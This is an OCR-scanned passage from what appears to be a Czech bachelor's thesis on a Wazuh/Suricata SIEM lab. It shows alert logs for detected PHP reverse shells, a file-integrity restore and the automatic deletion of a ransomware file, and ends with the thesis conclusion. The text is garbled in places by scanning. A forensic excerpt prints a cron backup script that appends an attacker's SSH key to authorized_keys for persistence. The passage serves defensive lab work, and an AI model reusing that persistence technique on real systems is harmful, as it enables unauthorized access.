[ Mar 26,2026 @ 20:13:03.4... ubuntu-server-1 Suricata: Alert - SURICATA - Possible reverse shell opened using PHP 3 86601

[ Mar 26, 2026 @ 20:13:03.4... ubuntu-server-1 Revshell process killed 12 100204
[@ Mar 26, 2026 @ 20:13:03.4... ubuntu-server-1 Revshell process klilled 12 100204
(& Mar 26, 2026 @ 20:13:01.5... ubuntu-server-1 Kriticka detekce: PHP Reverse Shell identifikovan v Auditd logu (Hex signa... 12 100202
[@ Mar 26,2026 @ 20:13:01.5 ubuntu-server-1 Kriticka detekce: PHP Reverse Shell identifikovan v Auditd logu (Hex signa... 12 100202
[@  Mar 26, 2026 @ 20:13:01.4... ubuntu-server-1 Suricata: Alert - SURICATA - Possible reverse shell opened using PHP 3 86601

(@ Mar 26,2026 @ 20:13:01.4... ubuntu-server-1 Revshell process killed 12 100204
(G Mar 26, 2026 @ 20:13:01.4... ubuntu-server-1 Revshell process killed 12 100204
(G Mar 26, 2026 @ 20:12:59.4... ubuntu-server-1 Kritickd detekce: PHP Reverse Shell identifikovan v Auditd logu (Hex signa... 12 100202
[@ Mar 26, 2026 @ 20:12:59.4... ubuntu-server-1 Kritickd detekce: PHP Reverse Shell identifikovan v Auditd logu (Hex signa... 12 100202

Obr. 42: Ukonceni procesu umoznujiciho zpétné spojeni
Zdroj: Vlastni zpracovdni (2026)

Utocnik nalezl alternativni zpGsob exploatace a ziskal ptistup k webovému serveru pod identitou
servisniho uc¢tu www-data spravujiciho sluzbu Apache2. Udalost byla systémem detekovana
a vygenerované varovani poskytuje obrancim nezbytny kontext pro zahdajeni manualniho
zasahu, identifikaci IP adresy utoc¢nika a definitivni ukonceni neautorizovaného spojeni.

Sekvence testl potvrzuje, Ze vrstvena obrana kombinujici signaturni detekci, monitorovani
integrity soubor(l a automatizovanou odezvu dokaze eliminovat vétSinu standardizovanych
utoénych technik. | v pfipadé Uspésného priniku do urcité vrstvy systému poskytuje SIEM
nastroj dostatec¢nou viditelnost pro véasnou reakci a minimalizaci dopadu incidentu.
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2.5.3 Eskalace prav a persistence

Po neautorizované modifikaci sledovaného souboru doslo v systému Wazuh ke generovani
poplachové udalosti. Frekvence vyskytu zmén v pravidelnych intervalech indikovala nasazeni
automatizovaného mechanismu pro udrzeni pfistupu, nej¢astéji realizovaného prostfednictvim
systémového planovace uUloh cron. Pravidlo iniciujici napravny skript modulu Active Response
Uspésné zajistilo restituci pdvodni verze souboru authorized_keys. Preventivni akce znemoznila
utocnikovi autentizaci k serveru pomoci vlastniho asymetrického klice, ¢imz byla eliminovana
metoda perzistence vyuzita v Gvodnim analytickém scénafri.

- timestamp ~ agent.name ~ rule.description v rulelevel ~ rule.id v
(. Mar 27,2026 @ 11:42:02.9.. ubuntu-server-1 ACTIVE RESPONSE: Someone edited - AR restored the previous version 3 100300
(@ Mar 27,2026 @ 11:42:02.9 ubuntu-server-1 ACTIVE RESPONSE: Someone edited - AR restored the previous version 3 100300
@ Mar 27,2026 @ 11:42:01.3. ubuntu-server-1 Integrity checksum changed 7 550
(@ Mar 27,2026 @ 11:42:01.3.. ubuntu-server-1 Integrity checksum changed. 7 550
(@ Mar27,2026 @ 11:41:02.9.. ubuntu-server-1 ACTIVE RESPONSE: Someone edited - AR restored the previous version 3 100300
(G Mar27, 2026 @ 11:41:02.9. ubuntu-server-1 ACTIVE RESPONSE: Someone edited - AR restored the previous version 3 100300
(@ Mar27 2026 @ 11:41:01.3... ubuntu-server-1 Integrity checksum changed. 7 550
(Q.  Mar27,2026 @ 11:41:01.3... ubuntu-server-1 Integrity checksum changed. 7 550

Obr. 43: Detekce upravy souboru a obnova pomoci AR
Zdroj: Vlastni zpracovdni (2026)

Nasledna forenzni analyza planovanych uloh (crontab) uzZivatele joe odhalila pfitomnost skriptu
pro pravidelné zalohovani dat. Prizkumem souborovych opravnéni bylo zjisténo, Ze dany skript
disponoval neadekvatné nastavenymi pravy pro zapis (world-writable), coZz umozZnilo
kompromitaci libovolnym uZivatelem v systému. Utoénik konfiguraéni chybu vyuZil k injekci
Skodlivého kédu, ktery v pravidelnych cyklech provadél zapis verejného klice do souboru
authorized_keys. Retézec udalosti potvrzuje dlleZitost kontroly integrity nejen u koncovych
konfiguracnich souborq, ale i u skriptd, které s nimi manipuluji.

root@ubuntu-server-1:/home/vbox# crontab -u joe -1
#Ansible: Run backup every minute
* % % x * [opt/utils/backup.sh
root@ubuntu-server-1:/home/vbox# cat fopt/utils/backup.sh
#!/bin/bash
# Pravidelna zaloha nas ochrani pred ztratou delegate_to
tar -cvf /home/joe/backups/documents.bac.tar -C /home/joe/ Documents
echo "ssh-ed25519 AAAAC3NzaC11ZDIINTESAAAAIDEQOGQKK7G8QGyaVAWWHrB+00S+gNAj1RKgbrvxvGm9
kali@kali" >> /home/joe/.ssh/authorized_keys
Obr. 44: Forenzni analyza - zneuziti chybné konfigurace

Zdroj: Vlastni zpracovdni (2026)

2.5.4 Naplnénicild

V radmci primarniho simulovaného uatoku bylo cilem APT skupiny provedeni exfiltrace dat
a naslednd distribuce ransomwaru na kompromitovany server. Sekunddarni testovaci scénar
prokazal, Ze infrastruktura byla infiltrovdna pouze parcialné prostrednictvim modifikovaného
webshellu. Pro zajisténi definitivni ochrany proti distribuci skodlivého softwaru je nezbytné
implementovat pokrocilejsi mechanismy, nez predstavuje pouha komparace kontrolnich souctl
(hasht) znamych hrozeb. Systém Wazuh v tomto ohledu nabizi integraci s externimi sluzbami,
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jako je VirusTotal, prostfednictvim aplikaéniho rozhrani (APl), coz signifikantné zvysSuje
pravdépodobnost detekce i dosud neznamych variant malwaru.

Ransomware se zpravidla vyznacuje komplexnéjsi architekturou koédu v porovnani
s jednoduchymi skripty typu webshell. Technickd narocnost komplikuje Utocnikim snahu
o modifikaci kédu za ucelem zmény digitalniho otisku pti sou¢asném zachovani plné funkcnosti
Skodlivého programu.

Béhem zavérecné verifikacni faze byl do monitorovaného adresare na webovém serveru nahrdn
soubor ransomware.py v ptivodni, nemodifikované formé. Systém Wazuh udalost klasifikoval
jako kritickou hrozbu a prosttednictvim modulu Active Response zajistil automatickou eliminaci
souboru. Timto krokem bylo potvrzeno Uspésné naplnéni cil(i prace v oblasti automatizované
detekce a mitigace hrozeb na bazi sdilenych indikatorl kompromitace (loC).

agent.ip 192.168.122.121

agent.name ubuntu-server-1

decoder.name syscheck_deleted

full_log File '/var/www/html/DVWA/hackable/uploads/

ransomware.py' deleted
Mode: realtime

Obr. 45: Detekce ransomware a odstranéni pomoci AR
Zdroj: Vlastni zpracovdni (2026)
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Zaveér

Cilem bakalarské prace byla realizace funkéni virtudlni laboratofe pro systémy typu SIEM
a nasledné ovéreni praktické vyuzitelnosti prostiedi pfi detekci Sirokého spektra utocnych
technik. Klicovou technologickou vyzvu predstavovala implementace orchestrace pomoci
nastroje Ansible. Ukdzalo se, Ze pro budovani dynamické infrastruktury vyZadujici ¢asté obmény
¢i navraty do vychoziho stavu je vyuZiti orchestrace — v kombinaci se systémem snapshotl —
naprostou nezbytnosti. Prestoze je v textu popisu Ansible vénovan mensi prostor, vyvoj a ladéni
automatizacnich playbook(l predstavovaly ¢asové nejnarocnéjsi fazi projektu. Zvolené reseni se
ukazalo jako efektivnéjsi a profesionalnéjsi nez alternativni pfistup v podobé sekvencnich Bash
skript. BEhem nasazovani se objevily komplikace spojené s hardwarovymi limity hostitelského
stroje, kdy instalace na méné vykonné uzly selhavaly kvili nedostatecné kapacité operacni
pameéti.

Faze analyzy avybéru vhodnych zranitelnosti byla inspirovdna redlnymi scénafi z praxe
penetracniho testovani. Pro Ucely laboratorni demonstrace byla zvolena zadmérné laxni
konfigurace uzivatelskych opravnéni azabezpeceni Gctu root. Ackoliv se v produkénich
prostifedich podobné primocaré chyby vyskytuji méné Casto a proces eskalace privilegii (PrivEsc)
byvd v praxi podstatné komplexnéjsi, zvoleny model poskytuje srozumitelny zaklad pro
pochopeni principll zneuZiti systémovych slabin a naslednou konfiguraci detekénich a reakénich
pravidel v systému SIEM.

Praktické testovani potvrdilo, Ze Wazuh je vysoce kompetentnim nastrojem pro sbér poznatkd
pfi vySetfovani incidentl i pro preventivni hardening systém(. Wazuh Uspésné identifikoval
pokusy o prolomeni SSH pfistupu hrubou silou. Ve spolupraci se sitovym IDS Suricata byly
detekovany agresivni skeny porta. Je vSak nutné podotknout, Ze pti méné invazivnich metodach
skenovani bez identifikace verzi sluzeb byla detekce méné Uspésnd; limitace je dana primarné
citlivosti pravidel systému Suricata, ktera lze ovSem dale rozSifovat o vlastni signatury
odpovidajici specifickym TTP Gtocnikd.

V ramci aplikacni bezpecnosti Wazuh zachytil pokusy o nahrani webshellu. Diky implementaci
vlastnich pravidel byl ve druhém kole utoku soubor se zndmym hashem detekovdn a smazan.
Pranik byl uspésny aZz pfi pouziti upraveného kdédu, coZz naznacuje, Ze modul pro integritu
souborl (FIM) je pro maximalni bezpec¢nost nutné nakonfigurovat striktnéji. Identifikace IP adres
utoénikl a nasledna reakéni pravidla si vynutily zménu strategie na strané Gtocici strany, coz
v redlném scénari poskytuje obranclm kriticky ¢as pro zahajeni protiopatreni, jako je rotace
klich, blokace neznamych rozsah( na firewallu ¢i patchovani zranitelnych sluzeb.

Shromazdéné udalosti poslouzily jako zaklad pro vypracovani vrstvené obrany, kterd
automatizované zastavila nékolik fazi Utoku a umoznila efektivni threat hunting v redlném case.
Vysledny projekt predstavuje plné funkéni open-source laboratof, kterou Ize snadno rozsifovat
o dal$i uzly asluzby. Budouci rozvoj prace by mohl sméfovat kintegraci prvk( fyzické
bezpecnosti nebo nasazeni honeypotl pro sbér aktudlnich loC. Vzhledem k faktu, Ze Wazuh
dokaze zpracovavat libovolné typy logl, otevird se prostor pro tvorbu vlastnich dekodér( pro
specifické aplikace, coz dale zvysi granularitu monitoringu. Potencidl pro budouci rozvoj nabizi
implementace algoritmd strojového uceni za Ucelem automatizované analyzy rozsahlych
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objem( logovacich dat aidentifikace skrytych korelaci mezi
bezpecnostnimi jevy.

zdanlivé nesouvisejicimi
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Pfilohy

Pfiloha 1 — Archiv projektu s Ansible playbooky zfrydryn-ansible-bp.zip



